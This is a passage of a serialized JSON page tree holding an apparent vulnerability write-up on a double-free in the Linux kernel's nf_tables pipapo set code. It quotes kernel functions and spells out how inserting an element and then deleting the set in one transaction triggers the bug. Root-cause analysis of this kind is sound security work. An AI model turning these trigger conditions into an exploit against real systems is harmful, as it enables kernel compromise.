},{"type":24,"tag":83,"props":51392,"children":51393},{"style":143},[51394],{"type":29,"value":4315},{"type":24,"tag":83,"props":51396,"children":51397},{"style":137},[51398],{"type":29,"value":50734},{"type":24,"tag":83,"props":51400,"children":51401},{"style":107},[51402],{"type":29,"value":989},{"type":24,"tag":83,"props":51404,"children":51405},{"class":85,"line":128},[51406,51410,51414,51419,51423,51428],{"type":24,"tag":83,"props":51407,"children":51408},{"style":90},[51409],{"type":29,"value":134},{"type":24,"tag":83,"props":51411,"children":51412},{"style":90},[51413],{"type":29,"value":20891},{"type":24,"tag":83,"props":51415,"children":51416},{"style":107},[51417],{"type":29,"value":51418}," nft_elem_priv ",{"type":24,"tag":83,"props":51420,"children":51421},{"style":143},[51422],{"type":29,"value":4315},{"type":24,"tag":83,"props":51424,"children":51425},{"style":137},[51426],{"type":29,"value":51427},"elem_priv",{"type":24,"tag":83,"props":51429,"children":51430},{"style":107},[51431],{"type":29,"value":2905},{"type":24,"tag":83,"props":51433,"children":51434},{"class":85,"line":183},[51435],{"type":24,"tag":83,"props":51436,"children":51437},{"style":107},[51438],{"type":29,"value":10628},{"type":24,"tag":83,"props":51440,"children":51441},{"class":85,"line":203},[51442,51446,51451,51455,51460,51464,51469],{"type":24,"tag":83,"props":51443,"children":51444},{"style":90},[51445],{"type":29,"value":20891},{"type":24,"tag":83,"props":51447,"children":51448},{"style":107},[51449],{"type":29,"value":51450}," nft_set_ext ",{"type":24,"tag":83,"props":51452,"children":51453},{"style":143},[51454],{"type":29,"value":4315},{"type":24,"tag":83,"props":51456,"children":51457},{"style":107},[51458],{"type":29,"value":51459},"ext ",{"type":24,"tag":83,"props":51461,"children":51462},{"style":143},[51463],{"type":29,"value":1275},{"type":24,"tag":83,"props":51465,"children":51466},{"style":101},[51467],{"type":29,"value":51468}," nft_set_elem_ext",{"type":24,"tag":83,"props":51470,"children":51471},{"style":107},[51472],{"type":29,"value":51473},"(set, elem_priv);\n",{"type":24,"tag":83,"props":51475,"children":51476},{"class":85,"line":212},[51477],{"type":24,"tag":83,"props":51478,"children":51479},{"emptyLinePlaceholder":16},[51480],{"type":29,"value":3422},{"type":24,"tag":83,"props":51482,"children":51483},{"class":85,"line":256},[51484,51488,51492,51497],{"type":24,"tag":83,"props":51485,"children":51486},{"style":117},[51487],{"type":29,"value":383},{"type":24,"tag":83,"props":51489,"children":51490},{"style":107},[51491],{"type":29,"value":223},{"type":24,"tag":83,"props":51493,"children":51494},{"style":101},[51495],{"type":29,"value":51496},"nft_set_ext_exists",{"type":24,"tag":83,"props":51498,"children":51499},{"style":107},[51500],{"type":29,"value":51501},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":24,"tag":83,"props":51503,"children":51504},{"class":85,"line":270},[51505,51510,51515,51520],{"type":24,"tag":83,"props":51506,"children":51507},{"style":101},[51508],{"type":29,"value":51509},"  nft_set_elem_expr_destroy",{"type":24,"tag":83,"props":51511,"children":51512},{"style":107},[51513],{"type":29,"value":51514},"(ctx, ",{"type":24,"tag":83,"props":51516,"children":51517},{"style":101},[51518],{"type":29,"value":51519},"nft_set_ext_expr",{"type":24,"tag":83,"props":51521,"children":51522},{"style":107},[51523],{"type":29,"value":51524},"(ext));\n",{"type":24,"tag":83,"props":51526,"children":51527},{"class":85,"line":302},[51528],{"type":24,"tag":83,"props":51529,"children":51530},{"emptyLinePlaceholder":16},[51531],{"type":29,"value":3422},{"type":24,"tag":83,"props":51533,"children":51534},{"class":85,"line":324},[51535,51540],{"type":24,"tag":83,"props":51536,"children":51537},{"style":101},[51538],{"type":29,"value":51539}," kfree",{"type":24,"tag":83,"props":51541,"children":51542},{"style":107},[51543],{"type":29,"value":51544},"(elem_priv);\n",{"type":24,"tag":83,"props":51546,"children":51547},{"class":85,"line":345},[51548],{"type":24,"tag":83,"props":51549,"children":51550},{"style":107},[51551],{"type":29,"value":464},{"type":24,"tag":25,"props":51553,"children":51554},{},[51555,51556,51562,51564,51569,51571,51576,51578,51583,51584,51589,51591,51596,51598,51603,51605,51610],{"type":29,"value":16348},{"type":24,"tag":32,"props":51557,"children":51559},{"className":51558},[],[51560],{"type":29,"value":51561},"nft_pipapo_match",{"type":29,"value":51563}," objects contain views of the ",{"type":24,"tag":32,"props":51565,"children":51567},{"className":51566},[],[51568],{"type":29,"value":50726},{"type":29,"value":51570},"'s of a ",{"type":24,"tag":32,"props":51572,"children":51574},{"className":51573},[],[51575],{"type":29,"value":50734},{"type":29,"value":51577},". The difference between the ",{"type":24,"tag":32,"props":51579,"children":51581},{"className":51580},[],[51582],{"type":29,"value":50711},{"type":29,"value":2287},{"type":24,"tag":32,"props":51585,"children":51587},{"className":51586},[],[51588],{"type":29,"value":50695},{"type":29,"value":51590}," match objects is that the clone has a view of not only already committed ",{"type":24,"tag":32,"props":51592,"children":51594},{"className":51593},[],[51595],{"type":29,"value":50726},{"type":29,"value":51597},"'s that the \"normal\" one has but also a view of the ",{"type":24,"tag":32,"props":51599,"children":51601},{"className":51600},[],[51602],{"type":29,"value":50726},{"type":29,"value":51604},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":24,"tag":32,"props":51606,"children":51608},{"className":51607},[],[51609],{"type":29,"value":50711},{"type":29,"value":161},{"type":24,"tag":1818,"props":51612,"children":51614},{"id":51613},"root-cause-analysis",[51615],{"type":29,"value":51616},"Root-cause analysis",{"type":24,"tag":25,"props":51618,"children":51619},{},[51620,51622,51628,51630,51635],{"type":29,"value":51621},"So ",{"type":24,"tag":32,"props":51623,"children":51625},{"className":51624},[],[51626],{"type":29,"value":51627},"nf_tables_set_elem_destroy",{"type":29,"value":51629}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":24,"tag":32,"props":51631,"children":51633},{"className":51632},[],[51634],{"type":29,"value":50726},{"type":29,"value":51636},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":24,"tag":25,"props":51638,"children":51639},{},[51640,51642,51647,51649,51654,51656,51661,51663,51668,51670,51675],{"type":29,"value":51641},"We should now try to understand how to reach that path with the ",{"type":24,"tag":32,"props":51643,"children":51645},{"className":51644},[],[51646],{"type":29,"value":50688},{"type":29,"value":51648}," flag set, which is a member of the private data of a pipapo ",{"type":24,"tag":32,"props":51650,"children":51652},{"className":51651},[],[51653],{"type":29,"value":50726},{"type":29,"value":51655}," that becomes true whenever a change is made to the ",{"type":24,"tag":32,"props":51657,"children":51659},{"className":51658},[],[51660],{"type":29,"value":50734},{"type":29,"value":51662}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":24,"tag":32,"props":51664,"children":51666},{"className":51665},[],[51667],{"type":29,"value":50734},{"type":29,"value":51669}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":24,"tag":32,"props":51671,"children":51673},{"className":51672},[],[51674],{"type":29,"value":50734},{"type":29,"value":51676}," dirty by inserting a new element.",{"type":24,"tag":73,"props":51678,"children":51680},{"className":16250,"code":51679,"language":2891,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n        const struct nft_set_elem *elem,\n        struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[51681],{"type":24,"tag":32,"props":51682,"children":51683},{"__ignoreMap":7},[51684,51754,51783,51808,51815,51822,51851,51858],{"type":24,"tag":83,"props":51685,"children":51686},{"class":85,"line":86},[51687,51691,51695,51700,51704,51708,51712,51717,51721,51726,51730,51734,51738,51742,51746,51750],{"type":24,"tag":83,"props":51688,"children":51689},{"style":90},[51690],{"type":29,"value":50759},{"type":24,"tag":83,"props":51692,"children":51693},{"style":90},[51694],{"type":29,"value":50888},{"type":24,"tag":83,"props":51696,"children":51697},{"style":101},[51698],{"type":29,"value":51699}," nft_pipapo_insert",{"type":24,"tag":83,"props":51701,"children":51702},{"style":107},[51703],{"type":29,"value":558},{"type":24,"tag":83,"props":51705,"children":51706},{"style":90},[51707],{"type":29,"value":9401},{"type":24,"tag":83,"props":51709,"children":51710},{"style":90},[51711],{"type":29,"value":20891},{"type":24,"tag":83,"props":51713,"children":51714},{"style":107},[51715],{"type":29,"value":51716}," net ",{"type":24,"tag":83,"props":51718,"children":51719},{"style":143},[51720],{"type":29,"value":4315},{"type":24,"tag":83,"props":51722,"children":51723},{"style":137},[51724],{"type":29,"value":51725},"net",{"type":24,"tag":83,"props":51727,"children":51728},{"style":107},[51729],{"type":29,"value":568},{"type":24,"tag":83,"props":51731,"children":51732},{"style":90},[51733],{"type":29,"value":9401},{"type":24,"tag":83,"props":51735,"children":51736},{"style":90},[51737],{"type":29,"value":20891},{"type":24,"tag":83,"props":51739,"children":51740},{"style":107},[51741],{"type":29,"value":50814},{"type":24,"tag":83,"props":51743,"children":51744},{"style":143},[51745],{"type":29,"value":4315},{"type":24,"tag":83,"props":51747,"children":51748},{"style":137},[51749],{"type":29,"value":50734},{"type":24,"tag":83,"props":51751,"children":51752},{"style":107},[51753],{"type":29,"value":989},{"type":24,"tag":83,"props":51755,"children":51756},{"class":85,"line":113},[51757,51761,51765,51770,51774,51779],{"type":24,"tag":83,"props":51758,"children":51759},{"style":90},[51760],{"type":29,"value":32640},{"type":24,"tag":83,"props":51762,"children":51763},{"style":90},[51764],{"type":29,"value":20891},{"type":24,"tag":83,"props":51766,"children":51767},{"style":107},[51768],{"type":29,"value":51769}," nft_set_elem ",{"type":24,"tag":83,"props":51771,"children":51772},{"style":143},[51773],{"type":29,"value":4315},{"type":24,"tag":83,"props":51775,"children":51776},{"style":137},[51777],{"type":29,"value":51778},"elem",{"type":24,"tag":83,"props":51780,"children":51781},{"style":107},[51782],{"type":29,"value":989},{"type":24,"tag":83,"props":51784,"children":51785},{"class":85,"line":128},[51786,51791,51795,51800,51804],{"type":24,"tag":83,"props":51787,"children":51788},{"style":90},[51789],{"type":29,"value":51790},"        struct",{"type":24,"tag":83,"props":51792,"children":51793},{"style":107},[51794],{"type":29,"value":51418},{"type":24,"tag":83,"props":51796,"children":51797},{"style":143},[51798],{"type":29,"value":51799},"**",{"type":24,"tag":83,"props":51801,"children":51802},{"style":137},[51803],{"type":29,"value":51427},{"type":24,"tag":83,"props":51805,"children":51806},{"style":107},[51807],{"type":29,"value":2905},{"type":24,"tag":83,"props":51809,"children":51810},{"class":85,"line":183},[51811],{"type":24,"tag":83,"props":51812,"children":51813},{"style":107},[51814],{"type":29,"value":10628},{"type":24,"tag":83,"props":51816,"children":51817},{"class":85,"line":203},[51818],{"type":24,"tag":83,"props":51819,"children":51820},{"style":107},[51821],{"type":29,"value":10065},{"type":24,"tag":83,"props":51823,"children":51824},{"class":85,"line":212},[51825,51830,51834,51839,51843,51847],{"type":24,"tag":83,"props":51826,"children":51827},{"style":137},[51828],{"type":29,"value":51829}," priv",{"type":24,"tag":83,"props":51831,"children":51832},{"style":107},[51833],{"type":29,"value":13502},{"type":24,"tag":83,"props":51835,"children":51836},{"style":137},[51837],{"type":29,"value":51838},"dirty",{"type":24,"tag":83,"props":51840,"children":51841},{"style":143},[51842],{"type":29,"value":146},{"type":24,"tag":83,"props":51844,"children":51845},{"style":90},[51846],{"type":29,"value":12215},{"type":24,"tag":83,"props":51848,"children":51849},{"style":107},[51850],{"type":29,"value":321},{"type":24,"tag":83,"props":51852,"children":51853},{"class":85,"line":256},[51854],{"type":24,"tag":83,"props":51855,"children":51856},{"style":107},[51857],{"type":29,"value":10065},{"type":24,"tag":83,"props":51859,"children":51860},{"class":85,"line":270},[51861],{"type":24,"tag":83,"props":51862,"children":51863},{"style":107},[51864],{"type":29,"value":464},{"type":24,"tag":25,"props":51866,"children":51867},{},[51868],{"type":29,"value":51869},"We also see that when the changes are commited, this flag is then unset.",{"type":24,"tag":73,"props":51871,"children":51873},{"className":16250,"code":51872,"language":2891,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n  return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[51874],{"type":24,"tag":32,"props":51875,"children":51876},{"__ignoreMap":7},[51877,51917,51924,51931,51962,51973,51980,52007,52014],{"type":24,"tag":83,"props":51878,"children":51879},{"class":85,"line":86},[51880,51884,51888,51893,51897,51901,51905,51909,51913],{"type":24,"tag":83,"props":51881,"children":51882},{"style":90},[51883],{"type":29,"value":50759},{"type":24,"tag":83,"props":51885,"children":51886},{"style":90},[51887],{"type":29,"value":50764},{"type":24,"tag":83,"props":51889,"children":51890},{"style":101},[51891],{"type":29,"value":51892}," nft_pipapo_commit",{"type":24,"tag":83,"props":51894,"children":51895},{"style":107},[51896],{"type":29,"value":558},{"type":24,"tag":83,"props":51898,"children":51899},{"style":90},[51900],{"type":29,"value":9148},{"type":24,"tag":83,"props":51902,"children":51903},{"style":107},[51904],{"type":29,"value":50814},{"type":24,"tag":83,"props":51906,"children":51907},{"style":143},[51908],{"type":29,"value":4315},{"type":24,"tag":83,"props":51910,"children":51911},{"style":137},[51912],{"type":29,"value":50734},{"type":24,"tag":83,"props":51914,"children":51915},{"style":107},[51916],{"type":29,"value":2905},{"type":24,"tag":83,"props":51918,"children":51919},{"class":85,"line":113},[51920],{"type":24,"tag":83,"props":51921,"children":51922},{"style":107},[51923],{"type":29,"value":10628},{"type":24,"tag":83,"props":51925,"children":51926},{"class":85,"line":128},[51927],{"type":24,"tag":83,"props":51928,"children":51929},{"style":107},[51930],{"type":29,"value":10065},{"type":24,"tag":83,"props":51932,"children":51933},{"class":85,"line":183},[51934,51938,51942,51946,51950,51954,51958],{"type":24,"tag":83,"props":51935,"children":51936},{"style":117},[51937],{"type":29,"value":383},{"type":24,"tag":83,"props":51939,"children":51940},{"style":107},[51941],{"type":29,"value":223},{"type":24,"tag":83,"props":51943,"children":51944},{"style":143},[51945],{"type":29,"value":20362},{"type":24,"tag":83,"props":51947,"children":51948},{"style":137},[51949],{"type":29,"value":51290},{"type":24,"tag":83,"props":51951,"children":51952},{"style":107},[51953],{"type":29,"value":13502},{"type":24,"tag":83,"props":51955,"children":51956},{"style":137},[51957],{"type":29,"value":51838},{"type":24,"tag":83,"props":51959,"children":51960},{"style":107},[51961],{"type":29,"value":2905},{"type":24,"tag":83,"props":51963,"children":51964},{"class":85,"line":203},[51965,51969],{"type":24,"tag":83,"props":51966,"children":51967},{"style":117},[51968],{"type":29,"value":1054},{"type":24,"tag":83,"props":51970,"children":51971},{"style":107},[51972],{"type":29,"value":321},{"type":24,"tag":83,"props":51974,"children":51975},{"class":85,"line":212},[51976],{"type":24,"tag":83,"props":51977,"children":51978},{"style":107},[51979],{"type":29,"value":10065},{"type":24,"tag":83,"props":51981,"children":51982},{"class":85,"line":256},[51983,51987,51991,51995,51999,52003],{"type":24,"tag":83,"props":51984,"children":51985},{"style":137},[51986],{"type":29,"value":51829},{"type":24,"tag":83,"props":51988,"children":51989},{"style":107},[51990],{"type":29,"value":13502},{"type":24,"tag":83,"props":51992,"children":51993},{"style":137},[51994],{"type":29,"value":51838},{"type":24,"tag":83,"props":51996,"children":51997},{"style":143},[51998],{"type":29,"value":146},{"type":24,"tag":83,"props":52000,"children":52001},{"style":90},[52002],{"type":29,"value":8803},{"type":24,"tag":83,"props":52004,"children":52005},{"style":107},[52006],{"type":29,"value":321},{"type":24,"tag":83,"props":52008,"children":52009},{"class":85,"line":270},[52010],{"type":24,"tag":83,"props":52011,"children":52012},{"style":107},[52013],{"type":29,"value":10065},{"type":24,"tag":83,"props":52015,"children":52016},{"class":85,"line":302},[52017],{"type":24,"tag":83,"props":52018,"children":52019},{"style":107},[52020],{"type":29,"value":464},{"type":24,"tag":25,"props":52022,"children":52023},{},[52024,52026,52031,52033,52038,52040,52045,52047,52052,52054,52060,52062,52068,52070,52075],{"type":29,"value":52025},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":24,"tag":32,"props":52027,"children":52029},{"className":52028},[],[52030],{"type":29,"value":50726},{"type":29,"value":52032}," in the ",{"type":24,"tag":32,"props":52034,"children":52036},{"className":52035},[],[52037],{"type":29,"value":50734},{"type":29,"value":52039}," to make it dirty and then delete the ",{"type":24,"tag":32,"props":52041,"children":52043},{"className":52042},[],[52044],{"type":29,"value":50734},{"type":29,"value":52046},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":24,"tag":32,"props":52048,"children":52050},{"className":52049},[],[52051],{"type":29,"value":50734},{"type":29,"value":52053},"'s ",{"type":24,"tag":32,"props":52055,"children":52057},{"className":52056},[],[52058],{"type":29,"value":52059},"->commit()",{"type":29,"value":52061}," method is executed before its ",{"type":24,"tag":32,"props":52063,"children":52065},{"className":52064},[],[52066],{"type":29,"value":52067},"->destroy()",{"type":29,"value":52069}," method, then the ",{"type":24,"tag":32,"props":52071,"children":52073},{"className":52072},[],[52074],{"type":29,"value":51838},{"type":29,"value":52076}," flag will be unset, and we won't be able to trigger the double-free.",{"type":24,"tag":25,"props":52078,"children":52079},{},[52080],{"type":29,"value":52081},"Let's once again refer to the code and see how these methods are called.",{"type":24,"tag":73,"props":52083,"children":52085},{"className":16250,"code":52084,"language":2891,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n  case NFT_MSG_DELSET:\n  case NFT_MSG_DESTROYSET: // [1]\n   nft_trans_set(trans)->dead = 1; // [2]\n   list_del_rcu(&nft_trans_set(trans)->list);\n   nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n          trans->msg_type, GFP_KERNEL);\n   break;\n  case NFT_MSG_NEWSETELEM: // [3]\n[...]\n   if (te->set->ops->commit &&\n       list_empty(&te->set->pending_update)) {\n    list_add_tail(&te->set->pending_update,\n           &set_update_list);\n   }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[52086],{"type":24,"tag":32,"props":52087,"children":52088},{"__ignoreMap":7},[52089,52151,52158,52165,52173,52186,52221,52255,52297,52319,52331,52344,52351,52398,52439,52479,52492,52499,52506,52513,52520,52545,52552,52565,52572,52588],{"type":24,"tag":83,"props":52090,"children":52091},{"class":85,"line":86},[52092,52096,52100,52105,52109,52113,52117,52121,52125,52129,52133,52138,52142,52147],{"type":24,"tag":83,"props":52093,"children":52094},{"style":90},[52095],{"type":29,"value":50759},{"type":24,"tag":83,"props":52097,"children":52098},{"style":90},[52099],{"type":29,"value":50888},{"type":24,"tag":83,"props":52101,"children":52102},{"style":101},[52103],{"type":29,"value":52104}," nf_tables_commit",{"type":24,"tag":83,"props":52106,"children":52107},{"style":107},[52108],{"type":29,"value":558},{"type":24,"tag":83,"props":52110,"children":52111},{"style":90},[52112],{"type":29,"value":9148},{"type":24,"tag":83,"props":52114,"children":52115},{"style":107},[52116],{"type":29,"value":51716},{"type":24,"tag":83,"props":52118,"children":52119},{"style":143},[52120],{"type":29,"value":4315},{"type":24,"tag":83,"props":52122,"children":52123},{"style":137},[52124],{"type":29,"value":51725},{"type":24,"tag":83,"props":52126,"children":52127},{"style":107},[52128],{"type":29,"value":568},{"type":24,"tag":83,"props":52130,"children":52131},{"style":90},[52132],{"type":29,"value":9148},{"type":24,"tag":83,"props":52134,"children":52135},{"style":107},[52136],{"type":29,"value":52137}," sk_buff ",{"type":24,"tag":83,"props":52139,"children":52140},{"style":143},[52141],{"type":29,"value":4315},{"type":24,"tag":83,"props":52143,"children":52144},{"style":137},[52145],{"type":29,"value":52146},"skb",{"type":24,"tag":83,"props":52148,"children":52149},{"style":107},[52150],{"type":29,"value":2905},{"type":24,"tag":83,"props":52152,"children":52153},{"class":85,"line":113},[52154],{"type":24,"tag":83,"props":52155,"children":52156},{"style":107},[52157],{"type":29,"value":10628},{"type":24,"tag":83,"props":52159,"children":52160},{"class":85,"line":128},[52161],{"type":24,"tag":83,"props":52162,"children":52163},{"style":107},[52164],{"type":29,"value":10065},{"type":24,"tag":83,"props":52166,"children":52167},{"class":85,"line":183},[52168],{"type":24,"tag":83,"props":52169,"children":52170},{"style":107},[52171],{"type":29,"value":52172},"  case NFT_MSG_DELSET:\n",{"type":24,"tag":83,"props":52174,"children":52175},{"class":85,"line":203},[52176,52181],{"type":24,"tag":83,"props":52177,"children":52178},{"style":107},[52179],{"type":29,"value":52180},"  case NFT_MSG_DESTROYSET:",{"type":24,"tag":83,"props":52182,"children":52183},{"style":2735},[52184],{"type":29,"value":52185}," // [1]\n",{"type":24,"tag":83,"props":52187,"children":52188},{"class":85,"line":212},[52189,52194,52199,52204,52208,52212,52216],{"type":24,"tag":83,"props":52190,"children":52191},{"style":101},[52192],{"type":29,"value":52193},"   nft_trans_set",{"type":24,"tag":83,"props":52195,"children":52196},{"style":107},[52197],{"type":29,"value":52198},"(trans)->",{"type":24,"tag":83,"props":52200,"children":52201},{"style":137},[52202],{"type":29,"value":52203},"dead",{"type":24,"tag":83,"props":52205,"children":52206},{"style":143},[52207],{"type":29,"value":146},{"type":24,"tag":83,"props":52209,"children":52210},{"style":245},[52211],{"type":29,"value":295},{"type":24,"tag":83,"props":52213,"children":52214},{"style":107},[52215],{"type":29,"value":48790},{"type":24,"tag":83,"props":52217,"children":52218},{"style":2735},[52219],{"type":29,"value":52220}," // [2]\n",{"type":24,"tag":83,"props":52222,"children":52223},{"class":85,"line":256},[52224,52229,52233,52237,52242,52246,52251],{"type":24,"tag":83,"props":52225,"children":52226},{"style":101},[52227],{"type":29,"value":52228},"   list_del_rcu",{"type":24,"tag":83,"props":52230,"children":52231},{"style":107},[52232],{"type":29,"value":558},{"type":24,"tag":83,"props":52234,"children":52235},{"style":143},[52236],{"type":29,"value":2853},{"type":24,"tag":83,"props":52238,"children":52239},{"style":101},[52240],{"type":29,"value":52241},"nft_trans_set",{"type":24,"tag":83,"props":52243,"children":52244},{"style":107},[52245],{"type":29,"value":52198},{"type":24,"tag":83,"props":52247,"children":52248},{"style":137},[52249],{"type":29,"value":52250},"list",{"type":24,"tag":83,"props":52252,"children":52253},{"style":107},[52254],{"type":29,"value":581},{"type":24,"tag":83,"props":52256,"children":52257},{"class":85,"line":270},[52258,52263,52267,52271,52276,52280,52284,52288,52292],{"type":24,"tag":83,"props":52259,"children":52260},{"style":101},[52261],{"type":29,"value":52262},"   nf_tables_set_notify",{"type":24,"tag":83,"props":52264,"children":52265},{"style":107},[52266],{"type":29,"value":558},{"type":24,"tag":83,"props":52268,"children":52269},{"style":143},[52270],{"type":29,"value":2853},{"type":24,"tag":83,"props":52272,"children":52273},{"style":137},[52274],{"type":29,"value":52275},"trans",{"type":24,"tag":83,"props":52277,"children":52278},{"style":107},[52279],{"type":29,"value":13502},{"type":24,"tag":83,"props":52281,"children":52282},{"style":137},[52283],{"type":29,"value":20021},{"type":24,"tag":83,"props":52285,"children":52286},{"style":107},[52287],{"type":29,"value":568},{"type":24,"tag":83,"props":52289,"children":52290},{"style":101},[52291],{"type":29,"value":52241},{"type":24,"tag":83,"props":52293,"children":52294},{"style":107},[52295],{"type":29,"value":52296},"(trans),\n",{"type":24,"tag":83,"props":52298,"children":52299},{"class":85,"line":302},[52300,52305,52309,52314],{"type":24,"tag":83,"props":52301,"children":52302},{"style":137},[52303],{"type":29,"value":52304},"          trans",{"type":24,"tag":83,"props":52306,"children":52307},{"style":107},[52308],{"type":29,"value":13502},{"type":24,"tag":83,"props":52310,"children":52311},{"style":137},[52312],{"type":29,"value":52313},"msg_type",{"type":24,"tag":83,"props":52315,"children":52316},{"style":107},[52317],{"type":29,"value":52318},", GFP_KERNEL);\n",{"type":24,"tag":83,"props":52320,"children":52321},{"class":85,"line":324},[52322,52327],{"type":24,"tag":83,"props":52323,"children":52324},{"style":117},[52325],{"type":29,"value":52326},"   break",{"type":24,"tag":83,"props":52328,"children":52329},{"style":107},[52330],{"type":29,"value":321},{"type":24,"tag":83,"props":52332,"children":52333},{"class":85,"line":345},[52334,52339],{"type":24,"tag":83,"props":52335,"children":52336},{"style":107},[52337],{"type":29,"value":52338},"  case NFT_MSG_NEWSETELEM:",{"type":24,"tag":83,"props":52340,"children":52341},{"style":2735},[52342],{"type":29,"value":52343}," // [3]\n",{"type":24,"tag":83,"props":52345,"children":52346},{"class":85,"line":358},[52347],{"type":24,"tag":83,"props":52348,"children":52349},{"style":107},[52350],{"type":29,"value":10065},{"type":24,"tag":83,"props":52352,"children":52353},{"class":85,"line":367},[52354,52359,52363,52368,52372,52376,52380,52385,52389,52394],{"type":24,"tag":83,"props":52355,"children":52356},{"style":117},[52357],{"type":29,"value":52358},"   if",{"type":24,"tag":83,"props":52360,"children":52361},{"style":107},[52362],{"type":29,"value":223},{"type":24,"tag":83,"props":52364,"children":52365},{"style":137},[52366],{"type":29,"value":52367},"te",{"type":24,"tag":83,"props":52369,"children":52370},{"style":107},[52371],{"type":29,"value":13502},{"type":24,"tag":83,"props":52373,"children":52374},{"style":137},[52375],{"type":29,"value":50734},{"type":24,"tag":83,"props":52377,"children":52378},{"style":107},[52379],{"type":29,"value":13502},{"type":24,"tag":83,"props":52381,"children":52382},{"style":137},[52383],{"type":29,"value":52384},"ops",{"type":24,"tag":83,"props":52386,"children":52387},{"style":107},[52388],{"type":29,"value":13502},{"type":24,"tag":83,"props":52390,"children":52391},{"style":137},[52392],{"type":29,"value":52393},"commit",{"type":24,"tag":83,"props":52395,"children":52396},{"style":143},[52397],{"type":29,"value":1425},{"type":24,"tag":83,"props":52399,"children":52400},{"class":85,"line":406},[52401,52406,52410,52414,52418,52422,52426,52430,52435],{"type":24,"tag":83,"props":52402,"children":52403},{"style":101},[52404],{"type":29,"value":52405},"       list_empty",{"type":24,"tag":83,"props":52407,"children":52408},{"style":107},[52409],{"type":29,"value":558},{"type":24,"tag":83,"props":52411,"children":52412},{"style":143},[52413],{"type":29,"value":2853},{"type":24,"tag":83,"props":52415,"children":52416},{"style":137},[52417],{"type":29,"value":52367},{"type":24,"tag":83,"props":52419,"children":52420},{"style":107},[52421],{"type":29,"value":13502},{"type":24,"tag":83,"props":52423,"children":52424},{"style":137},[52425],{"type":29,"value":50734},{"type":24,"tag":83,"props":52427,"children":52428},{"style":107},[52429],{"type":29,"value":13502},{"type":24,"tag":83,"props":52431,"children":52432},{"style":137},[52433],{"type":29,"value":52434},"pending_update",{"type":24,"tag":83,"props":52436,"children":52437},{"style":107},[52438],{"type":29,"value":704},{"type":24,"tag":83,"props":52440,"children":52441},{"class":85,"line":427},[52442,52447,52451,52455,52459,52463,52467,52471,52475],{"type":24,"tag":83,"props":52443,"children":52444},{"style":101},[52445],{"type":29,"value":52446},"    list_add_tail",{"type":24,"tag":83,"props":52448,"children":52449},{"style":107},[52450],{"type":29,"value":558},{"type":24,"tag":83,"props":52452,"children":52453},{"style":143},[52454],{"type":29,"value":2853},{"type":24,"tag":83,"props":52456,"children":52457},{"style":137},[52458],{"type":29,"value":52367},{"type":24,"tag":83,"props":52460,"children":52461},{"style":107},[52462],{"type":29,"value":13502},{"type":24,"tag":83,"props":52464,"children":52465},{"style":137},[52466],{"type":29,"value":50734},{"type":24,"tag":83,"props":52468,"children":52469},{"style":107},[52470],{"type":29,"value":13502},{"type":24,"tag":83,"props":52472,"children":52473},{"style":137},[52474],{"type":29,"value":52434},{"type":24,"tag":83,"props":52476,"children":52477},{"style":107},[52478],{"type":29,"value":989},{"type":24,"tag":83,"props":52480,"children":52481},{"class":85,"line":440},[52482,52487],{"type":24,"tag":83,"props":52483,"children":52484},{"style":143},[52485],{"type":29,"value":52486},"           &",{"type":24,"tag":83,"props":52488,"children":52489},{"style":107},[52490],{"type":29,"value":52491},"set_update_list);\n",{"type":24,"tag":83,"props":52493,"children":52494},{"class":85,"line":449},[52495],{"type":24,"tag":83,"props":52496,"children":52497},{"style":107},[52498],{"type":29,"value":34485},{"type":24,"tag":83,"props":52500,"children":52501},{"class":85,"line":458},[52502],{"type":24,"tag":83,"props":52503,"children":52504},{"style":107},[52505],{"type":29,"value":10065},{"type":24,"tag":83,"props":52507,"children":52508},{"class":85,"line":1065},[52509],{"type":24,"tag":83,"props":52510,"children":52511},{"style":107},[52512],{"type":29,"value":9342},{"type":24,"tag":83,"props":52514,"children":52515},{"class":85,"line":1668},[52516],{"type":24,"tag":83,"props":52517,"children":52518},{"emptyLinePlaceholder":16},[52519],{"type":29,"value":3422},{"type":24,"tag":83,"props":52521,"children":52522},{"class":85,"line":1713},[52523,52528,52532,52536,52541],{"type":24,"tag":83,"props":52524,"children":52525},{"style":101},[52526],{"type":29,"value":52527}," nft_set_commit_update",{"type":24,"tag":83,"props":52529,"children":52530},{"style":107},[52531],{"type":29,"value":558},{"type":24,"tag":83,"props":52533,"children":52534},{"style":143},[52535],{"type":29,"value":2853},{"type":24,"tag":83,"props":52537,"children":52538},{"style":137},[52539],{"type":29,"value":52540},"set_update_list",{"type":24,"tag":83,"props":52542,"children":52543},{"style":107},[52544],{"type":29,"value":581},{"type":24,"tag":83,"props":52546,"children":52547},{"class":85,"line":1730},[52548],{"type":24,"tag":83,"props":52549,"children":52550},{"style":107},[52551],{"type":29,"value":10065},{"type":24,"tag":83,"props":52553,"children":52554},{"class":85,"line":1770},[52555,52560],{"type":24,"tag":83,"props":52556,"children":52557},{"style":101},[52558],{"type":29,"value":52559}," 